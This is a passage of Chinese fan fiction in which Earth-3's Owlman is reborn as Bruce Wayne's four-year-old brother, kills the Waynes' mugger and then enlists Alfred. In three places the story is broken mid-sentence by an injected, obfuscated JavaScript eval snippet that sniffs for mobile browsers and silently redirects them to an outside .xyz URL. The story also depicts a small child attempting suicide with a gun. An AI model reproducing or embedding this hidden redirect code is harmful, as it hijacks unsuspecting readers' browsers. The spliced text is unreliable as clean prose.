那时候托马斯还不在这个宇宙。 他来自地球三,一个善恶颠倒的诡异宇宙。 4. 球三夜枭故事简述(写得很乱) 小托马斯·韦恩,是个天生的怪人。 在地球三是。 自他懂事那天起,便无法理解世界。 而世界也注定无法理解他。 他生来热爱秩序,却发现这世界崇尚混乱。 他审视周围的一切,却发现似乎一切都自相矛盾。 这让他非常痛苦,像一只站在黑羊群里的白羊一样痛苦。 也许是我疯了?为什么我和别人不一样? 他找到了这个世界让人毛骨悚然的一面,可无法和任何成年人或者年纪相仿的人倾诉。 小托马斯是个聪明的孩子,他厌恶这个世界,却也能清楚地掌握这个世界的规则。 他知道如果他问出这些疑问,就会被这个世界立刻撕碎。 他的父母也许会是除掉他的主力,说不定会把这个养废了的儿子杀掉掏空了卖钱,毕竟没人会嫌钱多。 小托马斯只能和他的弟弟布鲁斯倾诉。 只有对着这个尚在襁褓的婴儿,小托马斯才能短暂地放松。 他靠在这个婴儿身边,咕咕呶呶地小声说一些荒谬可笑的怪话,像是什么“我要清除所有恶行”、“我要改变整个世界”、“这个世界是错误的,我要征服它,然后改变它”…… 这个世界,只有布鲁斯身边容得下小托马斯。 而老托马斯和玛莎也乐于看到小托马斯天天待在布鲁斯身边。 如果小托马斯为了家产而把布鲁斯掐死,他们就收获了一个合格的儿子;要是小托马斯好好照顾布鲁斯,他们也就省下来照顾儿子的时间。 总之他们不亏,就干脆放任小托马斯只要有空闲就去找布鲁斯。 就这样,小托马斯真正拥有了一个家人。 小托马斯决定好好对待这个家人,他唯一的家人。 用这个世界所鄙夷的方式,用与自己的父母相反的方式,用他理想中的爱。 小托马斯悉心照料他、教导他、保护他。这个世界亲人的爱让人痛苦,他就要用自己的爱让他的弟弟幸福。 小托马斯,想要反叛整个世界。 但他毕竟只是个孩子,诞生自这个世界的孩子。 他是洞穴里的囚徒,哪怕他想要改变这个世界,也只能用这个世界的方式。 因为他属于这个世界,属于地球三。 小托马斯打算从自己的父母开始。 他学着父母的手段,收买掌控了管家阿尔弗雷德,精心设计行动路线,挑选合适的武器…… 他将一切告诉了他所珍视的弟弟,而布鲁斯也答应与他一起改变世界。 小托马斯以为自己掌握了命运。 但是命运狠狠嘲笑了他。 小托马斯——现在该叫他托马斯了,托马斯失去了他所有的家人。 事后托马斯曾思考过,为什么布鲁斯要违抗他呢? 难道我甚至不如那对夫妇? 还是我把他教育得太善良太天真了? 布鲁斯难道不知道,我只要失败了就会死吗? 要我怜悯别人,谁会来怜悯我呢? 托马斯没有机会知道原因,而他也不想知道真相。 谁最会欺骗自己,谁就能过得最快活。*1 他干脆利落地把一切归咎于自己失败的教育,接着执行自己清除罪恶的计划。 然后,哈,然后的一切都非常简单。 托马斯是个熟谙世间规则,又有权有势的聪明人。他主动拥抱了黑暗与罪恶,所以这个世界也为他敞开了一切。 他成为了夜枭,轻而易举地控制了整个哥谭。 他成为了辛迪加三巨头之一,操控了一群超级反派。 他收养了一个弟弟,将这个孩子培养成一个恶棍,培养成自己的搭档。 托马斯·韦恩的人生多么精彩啊!他统治了哥谭,也即将与辛迪加的同伙们一起统治世界。 如果没有意外,等他利用辛迪加统治世界后,就会清除一部分不够听话的同事,然后改变这个世界的规矩。 他计划着,首先应该除掉超女王,她聪明又没有什么弱点……终极人倒是可以留下,这家伙弱点明显又很好操控,当个打手正合适。 剩下的几个就挑拨他们内斗。这很容易,除了超女王,他们当中没有一个目光长远而头脑机灵的,心智还不如未成年时的托马斯成熟。 最后留下几个听话的蠢蛋就好,反正辛迪加最不缺的就是蠢蛋。 本来一切都该按照他的计划发展的,夜枭会按照自己的想法统治世界。 就像是这世界上的家长管理失控的孩子,医生切除病人身上的肿瘤。托马斯学会了这个世界想要让他学会的一切,然后将这一切回馈这个老师。 等到夜枭老了,也无非就是看着他的帝国崩塌,从王座上落下,被世人撕碎。 在这期间,他有可能彻底改变这个世界,也有可能启用量子本态炸弹将其彻底毁掉,毁掉这个疯了的世界。 本来该是这样的。 直到托马斯认识了世界的真相。 那时候的夜枭刚失去了自己的利爪,又利用了卢瑟的研究制造了量子启动器,拥有了穿梭多元宇宙的能力。 夜枭最开始只是想利用多元宇宙找回理查德,于是他开始翻阅无数宇宙。 他观察了许多个地球,在这些地球中,有的与他所在的世界完全相反,有的已经被异常生物占领,有的地球原生智慧生命是章鱼,有的根本没有诞生生命…… 其中自然有的地球与夜枭所在的地球完全相反,可这个世界却完全不缺少罪恶。 而人类也并没有选择的权力,无论行善还是行恶、生存还是死亡……多元宇宙包含了所有可能的走向。 所以,无论谁制定什么样的规则、无论世界是好是坏、无论有谁做什么样的努力,多元宇宙总会诞生无数罪恶,无非就是罪犯不同。 一切都没有意义,我们不过是自以为自由的囚徒,被囚禁在名为“可能性”、实则却是必然的不同囚笼当中。 所以他改变了计划。 夜枭开始寻找错误的开始——第一地球。 这里是多元宇宙中所有地球的基础,也是人类一切罪恶的起点。 毁掉这里,也就毁掉了人类未来的一切,所有罪恶与痛苦都会消失。 想明白了这一点,一切都会非常轻松。 辛迪加当中,只有超女王看出来夜枭想要毁灭一切,她似乎并依然相信一切存在意义,但她还是站在了夜枭同一阵营,前往多元宇宙去寻找被卢瑟藏起来的□□。 果然,她是辛迪加同僚里最靠谱的那个,找到了那个被卢瑟藏到多元宇宙的量子本态炸弹□□。 终极人好像对夜枭的变化有所察觉,也许是他可怜的超级大脑终于给了他一点预警吧?但是他还是没有阻止夜枭,阻止这个向来勤劳认真、完美完成辛迪加一切要求的顾问。 说真的,夜枭有些好奇,一个氪星人、辛迪加的领袖,在这样一个星球长大,居然还能向他人交付自己的信任……真有意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817849|175401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思。 至于辛迪加的其他人,则没有哪怕一点察觉,他们还做着统治世界的春秋大梦。 啊……他们难道不思考吗?辛迪加的其他人有什么统治世界的必要?这群人难道有闲心制定规则、治理领地?无非是小孩子一样借着统治世界的名头闹上一阵子,闹够了就把一切全部丢给夜枭,然后继续他们罪恶的小游戏。 所以,现在夜枭前方的阻碍就只剩下卢瑟,和他带来的多元宇宙的正义联盟。 显然正义联盟要比辛迪加强上不少,他们有信念、意志、勇气、决心、默契……所有的一切辛迪加没有、而有益于战斗的品质。 加上夜枭故意隐瞒了正义联盟里那个氪星人的弱点,辛迪加根本不可能赢。 他从没有指望过自己的同僚能打败他们,只希望这群家伙能多拦着他们一会儿,最好打个两败俱伤。 趁着辛迪加众人与正义联盟战斗,夜枭找出第一地球的坐标,与自己的同位体短暂交手后抓住时机带着量子本态炸弹传送到第一地球。 第一地球空阔、寂寥,微生物还没来得及诞生。 夜枭对量子本态炸弹进行最后的调试。 一切都将重归寂静,世界的错误将会从根本上就被抹除。 偏偏同位体绕过他的阻拦,试图阻止他,夜枭猜测他们大概是牺牲了随便哪个极速者吧。 可惜来的不是超人,如果是他,事情会简单不少——夜枭身上还有从终极人那里要来的绿氪石。 夜枭曾短暂地观测过自己的同位体,这些同位体大多穿得像一只蝙蝠,有着不杀生、不用枪的原则,身边有着一群朋友和孩子…… 这个同位体与夜枭表面上的差距并不算大——至少比他所看到的超人与终极人差距小,战斗习惯、常用道具似乎都能对上,只是年龄稍大些。 夜枭曾试图与同位体交谈,但这次交谈毫无成效,双方都视对方的言语为诡辩。他们不像是对着别人说话,反而像是在对镜剖析自我。 “你我之间确实有不同。” “你我都从地狱而来,然而当一个救赎的机会出现时……” “你错过了。”*2 救赎的机会? 我不需要虚伪的救赎,夜枭想。 我要终结一切罪恶,包括我自己。 在最后的时刻,夜枭看着量子本态炸弹的操作台,没有把它停下。 “It doesn''t matter.”*3 夜枭已决心殉自己的道。 可惜,似乎他所有的计划都注定无法实现,夜枭居然违背常理地复生在了多元宇宙的小托马斯身上,成为了一个婴儿。 既然没被量子本态炸弹炸死,小托马斯也不着急立刻就去死。 死了也没用,说不定还会在哪个多元宇宙复活,还不如就这样待在这里,待在布鲁斯身边。 这个地球与他原来生活的那个相比好上不少。 尤其是布鲁斯,布鲁斯活着、还成了他哥哥。 虽然小托马斯更习惯在心里叫他弟弟。 家里的其他人则是添头、是家族的附属品。他对布鲁斯以外的人一概忽视,包括韦恩夫妇,哪怕他们不是地球三的那对夫妇,哪怕他们对小托马斯不错。 因为小托马斯并没有打算完全融入这个世界。 他知道这个世界不属于他,所以他只打算在舞台上扮演一个局外人,哪怕置身其中,要随时准备抽身离去。 直到韦恩夫妇死前,他都是这么想的。 5. 营救计划 小托马斯·韦恩,是个天生的怪人。 在这个地球也是。 托马斯待在这个崭新的世界,就像是白羊群中的黑羊。 不过他不在乎。 他又不是个小孩子,他不会再因为这些小事痛苦。 相反,他要感谢自己与众不同、感谢在地球三磨练出来的残忍与多疑,才能拥有杀死那个劫匪的能力。 - 那天,托马斯和玛莎本来想把小托马斯留在家里。小托马斯年纪小,又不喜欢人群和噪音(小托马斯确实讨厌这两样,这是韦恩夫妇观察出来的),去电影院看电影不适合他。 但是,不知为什么,这天的小托马斯对看电影表现出了超乎寻常的热情。他没有哭闹,只是安静地抱着托马斯,然后用两只小手抓着玛莎的手,小声地说:“我也想去看电影。” 托基因的福,小托马斯有一张可爱的脸蛋,在他不说话、只安安静静地看着人的时候,就是一个漂亮的白瓷娃娃(说话的时候有可能像恐怖片里的瓷娃娃,会面无表情地讨论死亡与尸体,尤其在晚宴上,他靠着这一手吓退不少烦人精),一双蓝宝石般闪耀而水润的眼睛眨也不眨,仿佛被注视者就是他的一切……谁能拒绝他?托马斯和玛莎肯定不行。 他们欣然同意了托马斯的请求,很痛快地给小托马斯买票,还想要想哄着他多说两句话。但显然他们不会成功,小托马斯没有要开口的意思,达成目的,他便安静地窝在托马斯怀里发呆。 韦恩夫妇因为小托马斯难得的请求而欣慰,而布鲁斯听到弟弟要一起出门则兴奋过了头。 布鲁斯向来喜欢这个弟弟,小托马斯永远可以为他的快乐增彩,与父母、阿尔弗雷德还有别的孩子都不一样,他永远和事宜、永远不会和他的哥哥对着干。 于是布鲁斯缠着正要给小托马斯准备衣服的阿尔弗雷德,和他一起站在小托马斯的衣柜前。阿尔弗雷德挑选适合一位小绅士的装束,布鲁斯则抓出来一把花花绿绿色彩鲜艳的衣服。 阿尔弗雷德把布鲁斯手里的红色羊绒上衣和蓝色裤子重新叠好:“不行,布鲁斯少爷,小托马斯少爷要是穿着这么一身,电影院的观众们也就没有心情看电影了。” 布鲁斯则理直气壮地反驳:“我相信汤米愿意这么穿。” 阿尔弗雷德不置可否,只是有些担忧地在衣柜里翻弄。 小托马斯向来对布鲁斯言听计从。 在阿尔弗雷德眼中,小托马斯是只不小心托生成人的猫头鹰。社会难以容纳这样一个怪孩子,他也从来不愿意融入这个社会,于是他将布鲁斯视为自己的准绳,只以他的思想约束自己的行为;将他之外的家人视为半生不熟的陌生人,几乎不向玛莎和托马斯提出任何要求;而家人以外的人则被他视为虚无,视而不见,从不主动要求加入有很多人的活动。 那他今天的行为就尤为引人深思,小托马斯一下子干了三件不同于寻常的事——主动做布鲁斯没有要求的事、参与有很多人的活动,且为此请求玛莎和托马斯。 这三件不同于寻常的事是阴云,就拢在韦恩庄园的上空…… “抱歉,你不高兴了吗,阿尔弗雷德?”布鲁斯拉住阿尔弗雷德的衣角:“我是不是打扰你工作了?” “没有,布鲁斯少爷。” 他的思绪被布鲁斯少爷打断,为了不把这种不详的预感传递给兴奋而敏感布鲁斯,从衣柜里捡出一套矢车菊蓝的衣服,兼具小孩子喜欢的、较为鲜艳的颜色和成人优雅的审美:“这件怎么样?” “好看,阿尔弗雷德。”布鲁斯老老实实地说,虽然他的脸上明明白白地写着“我觉得这衣服颜色太沉闷了”。 于是在阿尔弗雷德和布鲁斯各退一步的情况下,两人为小托马斯敲定了今天的着装。阿尔弗雷德捧着衣服去找小托马斯,而布鲁斯兴冲冲地跟在他的身后。 但今天第四个不同寻常的事情发生了。 小托马斯穿了一套黑色的运动装,并坚定拒绝换上阿尔弗雷德和布鲁斯一起选定的衣服。 ……太奇怪了,这太奇怪了。 小托马斯向来不会拒绝布鲁斯的要求,现在却连换一件衣服却不愿意。 阿尔弗雷德也反常地用厨房的零食支开了有些疑惑的布鲁斯,然后问小托马斯:“小托马斯少爷,今天会发生什么事?” 这个敏锐的管家是这个家庭最接近真相的那个。 这个家里的其他人,要么被血缘的纽带覆盖了双眼、要么没有足够的阅历看清小托马斯异常的本质。 小托马斯没有直接回答:“我不知道,我只有一种隐约的预感,可能发生,也可能不会。” “需要我吗?” “最好不要。”小托马斯还没有完全信任阿尔弗雷德,毕竟在地球三,罪行是是他们二人一同犯下的。 “您可以告诉我到底是怎么回事吗?” “很抱歉,不能。”小托马斯绕过了他,“这是很复杂的事,可能有一天我会把它告诉别人,也有可能我会把这个秘密带离世界。” “如果有一天您需要的话,”阿尔弗雷德转身看向这个孩子,“您随时都可以我。” “……谢谢。” - 担忧向来不是可以凭空产生的情绪。 随着小托马斯记忆里布鲁斯死去的日子逐渐靠近,蝙蝠侠的话又钻进他的脑海。 “你我都从地狱而来……” 小托马斯顺着他的话稍微推断一下。 已知蝙蝠侠遭受过某些恶性事件,并因此被重铸。 ……已知夜枭的人生中,排得上号的恶性事件之一,就是布鲁斯的死。 所以正常宇宙的韦恩家族也有可能发生家人离世的惨剧。 于是小托马斯趁着布鲁斯上学不在家,弄来一块形状和重量都很合适的石头,用工具房里备用的砂纸和锉刀稍作打磨,然后练了好几天投掷石头。 ……不然能怎样?难不成让年仅四岁的小托马斯从严格的老管家手里偷到一把枪,然后藏起来吗? 而且枪似乎也是蝙蝠侠人生悲剧的关键,要不然他大概也不会发誓不用枪,所以他尽量避免枪的出现。 要求一起去电影院则是其中最不费力的一步,只要小托马斯愿意,他可以轻易操纵任何人,更何况这个世界的玛莎和托马斯是一对开明的父母,从来不会拒绝孩子的合理要求。 他换上自己最方便行动、在黑暗中最不显眼的黑色运动服,突兀地拒绝了布鲁斯的请求。 回家的时候,他全程走在最后面,谨慎地提防有人从后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817850|175401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方偷袭。 可那个劫匪是从前面来的,而走在最后面的小托马斯自然被护子心切的托马斯和玛莎牢牢挡在身后。 布鲁斯也被父母拢到小托马斯身边,呆愣愣的。 劫匪伸手抢了托马斯的钱,又伸手去抢玛莎的珍珠项链,不知是故意还是无意,枪开了火。他干脆一不做二不休,把另一个成人也打死了。 被扯断的珍珠就落在地上。 单手连开几枪,后坐力对劫匪的手伤害不小,因此四岁的小托马斯可以用巧劲把枪打下来。 后面的事情就是布鲁斯所见的那样。 现在巷子里的活人只剩下布鲁斯和小托马斯。 枪里还剩一发子弹。 兜兜转转还是回到了原点。 这个宇宙的韦恩夫妇还是死了。 夜枭或者蝙蝠侠必定要诞生吗? 小托马斯厌恶这些必然性。 正好,还差个孩子,地下还少了个孩子。 其实是死是活对小托马斯来说无所谓,但他还是再次举起枪,对准了自己。 为什么呢?其实原因并不重要,也许是他想真正掌控一次命运,又或许只是因为他厌烦了世界。 结果也毫不意外,他被布鲁斯阻止了。 还向他承诺,只要布鲁斯需要,小托马斯就不会离开。 空气中弥漫着血腥气,血浸/透了他的衣服,湿/漉漉地黏在身上,逐渐带走他的体温。 身后的布鲁斯在哭,小托马斯可以轻易感受到他温热的身躯在颤/抖。 身上的伤口隐隐作痛,但小托马斯并不在意,他只抬头看向哥谭的天空。 没有星光,今天的哥谭没有星光。 - 两人被阿尔弗雷德接回到韦恩庄园,接回到被割走一半的家。 布鲁斯是个真正的孩子,他刚失去了父母,差点失去弟弟,还要替弟弟在警察和记者面前为他遮掩,他的精神与体力都已经到了极限。 他窝在沙发里,断断续续地发出几声抽噎,睡着了也不肯松开抓着小托马斯的手。 而小托马斯则安静地坐在他身边,似乎没有任何悲伤与恐惧,仿佛世间的一切与他无关。 他可以清楚地感受到警察、记者、佣人对他的恐惧。 而他对自己的异常之处毫不掩饰,同往常一样冷淡地应付所有人。 阿尔弗雷德把佣人们支走,拿着医药箱想为小托马斯处理腿上的擦伤和脱臼的右手。 “现在您能告诉我到底是怎么回事了吗?” 阿尔弗雷德剪下干在小托马斯身上的衣服,为他清洗伤口。 已经到了这个地步,小托马斯也没有隐瞒的必要,就算不说,阿尔弗雷德自己也要猜出来大概了。 而且他还需要阿尔弗雷德协助。 “我曾经历过他们的死亡。” 阿尔弗雷德手下的动作没有变化:“真凶是谁?” “你和我。” 阿尔弗雷德停下了:“Excuse me?” 原本阿尔弗雷德只觉得这个孩子有些不同寻常的经历,现在他居然也觉得小托马斯真的有点精神问题。 “你和我。”小托马斯重复,“小托马斯·韦恩和阿尔弗雷德·潘尼沃斯。” 6. 忍人和奶牛猫和比格 作为优秀的老特工,阿尔弗雷德能看出来,小托马斯是认真的,至少主观上他没有说谎。 这让他的眉头狠狠地拧了一下(哪怕在与人巷战的时候,他的情绪波动都没有这么大),阿尔弗雷德的世界观似乎受到了极大的冲击:“恐怕我不太能理解您的意思,我不可能对韦恩老爷和韦恩夫人下手。” “当然。”小托马斯说,“那个世界与这个世界不同之处有很多,这只是其中之一。” “……恐怕我想不出来还有什么能比这个更不同了。” 比如韦恩夫妇是恶棍、布鲁斯死于非命、哥谭犯罪率极低、大多数人心脏长在右边、总统是个关心民生的大好人? 小托马斯没说出来,转而岔开话题。 “总之,由于一些我无法告诉你的原因,我在前几天突然发觉这件事依然可能发生,出于不信任,我决定独自行动。” “您担心我会下手?” “没错,因为不够完善的经验主义,我无法正确分辨两个世界的异同。”他低头看自己的伤口,提醒阿尔弗雷德,“明天记得买一把新的猎枪,那把旧枪被我动了点手脚,无法正常进弹,会卡膛。” “……幸亏今天的厨房没进老鼠。” “现在这件事情又发生了,而且远未结束。”小托马斯面无表情地复位脱臼的右手,强行把话题掰回来,“在我记忆中的那一天,布鲁斯也死了。” “谁干的?” “我。”小托马斯毫不掩饰,“我亲手杀了他。” 无论是不是故意的,地球三的布鲁斯的确死在他的手上。 房间里又是一阵寂静,只有阿尔弗雷德替小托马斯缠绷带的声音,还有布鲁斯睡梦中带点鼻音的呼吸声。 “为什么突然告诉我这些。”阿尔弗雷德不愧是特工出身,一下子就能找到关键所在,“您依然不信任我,却把这些的事情告诉我?这些东西您不说,我完全不可能知道,而让我知道您曾杀害过另一个世界的布鲁斯少爷似乎对你我之间的合作毫无用处。” “当然是因为事情还没有解决。”小托马斯阴沉着脸,“而短时间内我死不了,人只要死不了就应该找点事做。” “什么事情没有解决?” 小托马斯没有直接回答他:“哪怕两个世界间差距巨大,也总会有相似的事件发生,比如我那个世界的韦恩家族依然是哥谭富豪,而没有变成乞丐。” “所以?” “所以我依然担心布鲁斯会死,无论怎么想他都很危险。” 事态的失控让小托马斯稍显焦虑:“布鲁斯一定会想方设法找到这次凶杀案的真相,为此甘愿把自己往虎口里送,要是你和我拦着他,他肯定会自作主张、独自行动,然后把事态弄得更加危险。” ……这大概是今天晚上阿尔弗雷德最赞同的一句话,布鲁斯少爷有健康的身体、敏捷的头脑、坚定的信念、对父母的爱以及银行里的巨款,拦住他显然非常困难。 “要是布鲁斯没查出来什么还好,万一他真查出来了呢?会不会被灭口?那么多双眼睛盯着韦恩家族的财富,万一有人想影响他、利用他、绑架他……” “您需要我做什么?” “做我的代理人,替我出面干些事。”小托马斯坐直身体,“有些事情我显然不适合出面,比如收买议员、威胁报社、操纵黑/帮……” 阿尔弗雷德用锐利的视线逼退了他的话。 “我不会帮您干这些,我想这些对一个躯体年龄只有四岁的小孩子来说有点太超常了,而且会给这个家引来更多祸患。” “好吧,那就不干。” 小托马斯很痛快地收回了这些任务,痛快到阿尔弗雷德觉得他说这些完全就是为了试探并降低自己的底线。 “我需要一个专业的实验室和独立的办公室,还需要你帮我成立一家科技公司和一家建筑公司。” 这听起来好接受多了,不难办,听着不算危险,科技公司和建筑公司大概也干不了什么。 只能说幸好小托马斯在这个时候就提出来了这个要求。要是再过两天,哥谭就会被各种科学怪人淹没,监狱和精神病院塞满了高学历罪犯。到了那个时候,阿尔弗雷德绝对不会同意他的计划。 但现在的阿尔弗雷德也足够警觉:“请问我可以知道您要这些有什么目的吗?” “当然可以。”小托马斯很爽快地告诉他,“建立实验室和成立科技公司都是因为我还记得一些另一个世界的科技前沿成果,想要提前注册专利;而我猜测未来几年的哥谭会有大量建筑物损毁,一家建筑公司有助于我参与哥谭重建,收获大量金钱。” “要想保护布鲁斯,我需要在韦恩集团站稳脚跟,我要在哥谭站稳脚跟。” 实际上,除了保护布鲁斯那一句,剩下的都是假话。成立自己控股的科技公司是为了把核心专利完全握在自己手里,防止韦恩集团内部出现问题,顺便避人耳目地研究一些危险的东西。 建筑公司则是为了摸清楚哥谭的建筑物和猫头鹰法庭一类“隐藏地点”,同时也方便他在某些“关键处”做手脚,方便他掌握哥谭。 阿尔弗雷德对他的说法将信将疑,但布鲁斯没有把小托马斯在小巷里的所作所为告诉阿尔弗雷德,他也就没办法猜到小托马斯实际上是个自毁倾向相当严重的虚无主义者,发起疯来会把所有人拖下水。 所以他答应了。 “您居然相信我。”小托马斯似乎有些惊诧,“我向来是个不值得相信的人。” “我相信您对布鲁斯少爷的爱,小托马斯少爷。”这当然是真话,小托马斯的过去他无法见证,但他对布鲁斯超乎寻常的关心可是有目共睹,“更何况无论您过去如何,现在也是韦恩家族的孩子。” 听了他的话,小托马斯沉默了一小会儿,对此不置可否:“是么?我知道了。” 也不知道他到底知道了什么。 这一关小托马斯度过去了,但是阿尔弗雷德也不是那么容易应付的,他意味深长地看了一眼小托马斯,说:“那您打算如何牵制布鲁斯少爷?” “没什么办法,又不能拦着他。只能由您和我一起看着他。”小托马斯叹口气。 总不能给布鲁斯拿点报纸让他撕着玩儿吧?布鲁斯又不是猫。 “基于您的演技,我有一个更好的办法,小托马斯少爷。”阿尔弗雷德处理好小托马斯的伤口,站起身来,拿起晾好的热水和白毛巾,“我会告诉他您的精神出现了很大的问题,有很严重的分离焦虑,需要他陪着。” 阿尔弗雷德提出了一个两全其美的好主意——从此以后这个家里要么是奶牛猫看着比格,要么是比格看着奶牛猫,反正忍人永远不亏。 “这确实是个好理由,阿尔弗雷德。在你的设想中,我可以借着这个理由整天缠着布鲁斯。但是你有没有想到一个问题?” 小托马斯的表情比往常更加冷漠,这让阿尔弗雷德觉得这才是他卸下所有伪装的样子:“我只参与了布鲁斯人生的二分之一,父母却陪伴了他的全部。” “所以说,您不认为布鲁斯少爷会选择您?为什么?”阿尔弗雷德有些诧异地问。 为什么小托马斯会这么想?在任何正常人眼里,活生生的家人都会比冷冰冰的真相更有分量,更何况是向来看重弟弟的布鲁斯。 “我不需要任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817851|175401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的选择,”小托马斯避开了这个话题,“但我相信布鲁斯很有可能趁着我不注意去调查真相。” “这倒是不用担心,我会代替他当这个侦探。” 虽然两人心知肚明,布鲁斯是不可能被拦住的。 布鲁斯拥有韦恩家族祖传的倔强,他倔得像只雪纳瑞,会想方设法去做自己想做的事。 但至少此刻,他们对布鲁斯看管问题达成了共识。 两人交换了一个眼神。 “请别这样看我,阿尔弗雷德。从八岁算起,我也只在四年前哭了那一次,已经要忘了该怎么哭了。” 阿尔弗雷德收回视线,从医药箱里拿出托马斯老爷的生理盐水。 “我总不可能永远靠生理盐水作弊。”小托马斯深吸一口气,“从临床心理学的角度讲,创伤后应激障碍的患者可能会对情感刺/激的反应减弱,难以体验到强烈的情绪变化,表现出对依恋对象的过度依赖或害怕分离等类似于分离焦虑的症状,所以我的表演完全正确。而我们的剧本可以在明天正式出演,您可以找个心理医生作证。” “我很高兴您过去的世界居然还有心理学研究,小托马斯少爷。” “显然没有,阿尔弗雷德,至少我没见过那个世界里有哪个家伙有闲心研究心理学,在那个世界研究心理学的应该首先研究研究自己。这种人不是头一号的大傻瓜就是天下第一圣人,如果真的有这种伟人我向他隔宇宙致意。”小托马斯反驳,“这些知识是我在书房的医学著作里看到的。” 显然阿尔弗雷德只是在进行每日例行英式吐槽,但他没有想到小托马斯的世界这么……抽象。 于是他再次陷入了沉默,只是安静地将手里的毛巾浸在热水里,然后把它拧干。 小托马斯则轻推布鲁斯:“醒醒,布鲁斯,擦擦身子,我们回卧室睡。” - 布鲁斯躺在床上,睡不着觉。 他一闭眼,就只有倒在地上的父母,还有脑袋炸开的小托马斯。 噩梦缠绕着他,他干脆爬下床,走在阴暗的韦恩庄园。 往日里温馨的家,此刻沉寂得像是坟茔,阴森可怖得像是鬼怪。 布鲁斯似乎从来没有认识过这里,跌跌撞撞地走了好几个房间,终于找到了小托马斯的卧室。 他打开门,小声呼唤:“汤米,汤米?” 接着,布鲁斯看到同样睡不着觉的小托马斯站在窗前,回头看向他。 “!” 布鲁斯怒气冲冲地把他从窗边拽开:“你忘了你答应过我什么了吗,汤米?” 其实并没有想跳楼、只是失眠且难得多愁善感想看看月亮的小托马斯:“……记得。” 是死是活对小托马斯来说都是没有意义的事情,他又不是每天都要自寻短见玩。 “记得就好好睡觉!”布鲁斯想把小托马斯抱回到床上,随后发现他的儿童床有点小,睡不下两个人。 “我们可以去找阿尔弗雷德睡。”小托马斯提议。 布鲁斯正好也想要和阿尔弗雷德待在一起,于是他抱着小托马斯向阿尔弗雷德的房间走去。 “我第一次发现你这么不听话,汤米!” “抱歉,布鲁斯,我让你担心了。”小托马斯挣/扎两下,却被布鲁斯箍紧,“我可以自己走……” “不行!”布鲁斯立刻反驳,“你的腿伤成这样,不能乱动。” 于是托马斯顺从地闭上了嘴。 就这样,因为担心两位韦恩少爷睡不着而出门的阿尔弗雷德,正好撞上了用抱着猫的姿势抱着小托马斯的布鲁斯。 三人就这样在布鲁斯的卧室前面面相觑。 7. 码字的时候在刷《潘尼沃斯》 “我怀疑布鲁斯真的有创伤性应激障碍,而我不适合安抚他。” 趁着布鲁斯在洗漱,小托马斯坐在餐桌旁,小声提醒阿尔弗雷德。 “他明显有闯入性再体验症状。” 阿尔弗雷德微微点头:“我已经请了专业的精神科医生和心理治疗师。” 其实阿尔弗雷德并不需要提醒,他非常了解创伤性应激障碍的症状。 他见过不少被这种病逼入绝路的人,这种病将他的许多战友折磨得生不如死,甚至他自己也曾被不请自来的旧日影像所困扰。 两人简短而迅速地交换了意见,在布鲁斯冲进餐厅前停下沟通。 “早上好,阿尔弗雷德。早上好,汤米。” 他在努力将自己伪装得若无其事,身为哥哥,他认为自己应该避免在小托马斯面前露出负面情绪,应该尽早成为这个家庭的顶梁柱。 但是这对一个八岁的孩子来说有些太难了。 “你的脸没洗干净,布鲁斯。”小托马斯看着他,“右鬓角,有肥皂沫。” 阿尔弗雷德默默走过去,用毛巾将布鲁斯的脸擦干净。 “谢谢你,阿尔弗雷德。”布鲁斯若无其事地坐到小托马斯身边,“我们今天早上吃什么?” 他似乎在努力克制自己的情绪。 “三明治,布鲁斯少爷。” 今天是阿尔弗雷德准备的早饭,其他人被暂时请回家了。 他认为多嘴的外人对这两个孩子的心理状态没有益处。 “谢谢,阿尔弗雷德。” 布鲁斯机械地咬了一口三明治,让自己不去想父母,不去想如果他们还活着会干什么…… 怎么可能呢?怎么可能不想呢? 托马斯应该快活地笑话他沾着肥皂泡的鬓角,玛莎会用手肘撞自己丈夫的肋骨,让他照顾照顾小男孩的自尊。 随后他们几个会一边吃早饭一边聊天,主要内容应该是昨天的电影。 布鲁斯几乎能够看到,看到托马斯和玛莎坐在桌子前的样子。 托马斯会问他是不是又被蝙蝠吓得睡不着觉,玛莎笑着瞪了他一眼,随后会说:“你要多注意睡眠,不然以后只能和你爸爸一样高,布鲁斯……” “布鲁斯?” 他回过神来,而小托马斯和阿尔弗雷德正担忧地站在他身边。 “怎么了?”布鲁斯回过神来,若无其事地又咬了一口三明治。 “我们叫了你好几次。”小托马斯说,“而你一直在发呆。” “抱歉,汤米。”布鲁斯云淡风轻地回答他,“我想我应该是昨天没睡好觉。” “我想也是,因为我刚才其实只叫了你一次。” 阿尔弗雷德将手搭在布鲁斯的肩膀上:“今天的早饭不合胃口吗,布鲁斯少爷?要不要和我一起去花园走走?” 